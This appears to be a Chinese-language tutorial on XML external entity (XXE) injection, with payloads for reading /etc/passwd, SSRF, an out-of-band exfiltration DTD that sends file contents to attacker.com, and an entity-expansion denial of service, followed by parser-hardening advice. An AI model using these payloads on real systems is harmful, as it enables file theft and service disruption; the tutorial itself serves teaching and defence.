XML外部实体(XXE)注入攻击详解
XML外部实体(XXE)注入是一种针对XML解析器的安全漏洞,攻击者通过篡改XML输入,利用外部实体声明来读取服务器上的敏感文件、执行远程请求或发起拒绝服务攻击。其危害包括文件读取、内部端口扫描和远程代码执行(在某些条件下)。
攻击原理与XML基础
XML允许用户自定义文档结构,并通过文档类型定义(DTD)声明实体(即数据的别名)。实体分为内部实体(定义在文档内)和外部实体(引用外部资源)。例如:
<!DOCTYPE example [
<!ENTITY internal "Hello"> <!-- 内部实体 -->
<!ENTITY external SYSTEM "file:///etc/passwd"> <!-- 外部实体 -->
]>
<data>&internal; &external;</data>
当XML解析器配置为解析外部实体时,会读取file:///etc/passwd文件内容并替换&external;。若攻击者能控制XML输入,即可通过构造恶意DTD实施攻击。
攻击步骤与常见利用方式
-
探测漏洞存在:
提交包含简单外部实体的XML,观察响应是否包含文件内容或错误信息。例如:<?xml version="1.0"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <user>&xxe;</user>若响应中显示文件内容,则存在漏洞。
-
文件读取:
利用file://协议读取系统文件(如配置文件、密钥文件)。Windows系统需注意路径格式(如file:///C:/windows/system.ini)。 -
SSRF攻击:
通过http://或ftp://协议使服务器向内部网络发起请求,例如:<!ENTITY ssrf SYSTEM "http://192.168.1.1:8080/">可探测内网服务或结合其他漏洞进一步利用。
-
盲注XXE(无回显场景):
当文件内容无法直接返回时,通过外带数据(OOB)方式泄露信息。步骤:- 在攻击者控制的服务器上部署恶意DTD文件(如
evil.dtd):<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % param "<!ENTITY send SYSTEM 'http://attacker.com/?data=%payload;'>"> - 在目标XML中引用该DTD:
<!DOCTYPE data [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; %param; ]> <data>&send;</data>
服务器解析时会读取文件内容,将其作为参数发送到攻击者服务器。
- 在攻击者控制的服务器上部署恶意DTD文件(如
-
拒绝服务攻击:
利用XML规范中允许递归引用实体的特性,构造“亿级实体膨胀”攻击:<!DOCTYPE data [ <!ENTITY a "aaaaaaaaaa..."> <!ENTITY b "&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;"> ]> <data>&c;</data>解析时实体会几何级扩展,耗尽服务器内存。
防御措施
-
禁用外部实体:
在XML解析器中显式关闭外部实体处理。以Java为例:DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 彻底禁用DTD // 或仅关闭外部实体: dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
输入过滤:
对用户提交的XML内容进行关键词检查(如<!DOCTYPE、<!ENTITY),但此方法易被绕过。 -
使用安全解析库:
优先选择默认禁用外部实体的库(如Python的defusedxml替代标准xml.etree)。 -
最小化网络权限:
限制服务器对外发起请求的能力,降低SSRF危害。
通过理解XXE的原理与利用链,可有效配置解析器并实施纵深防御策略。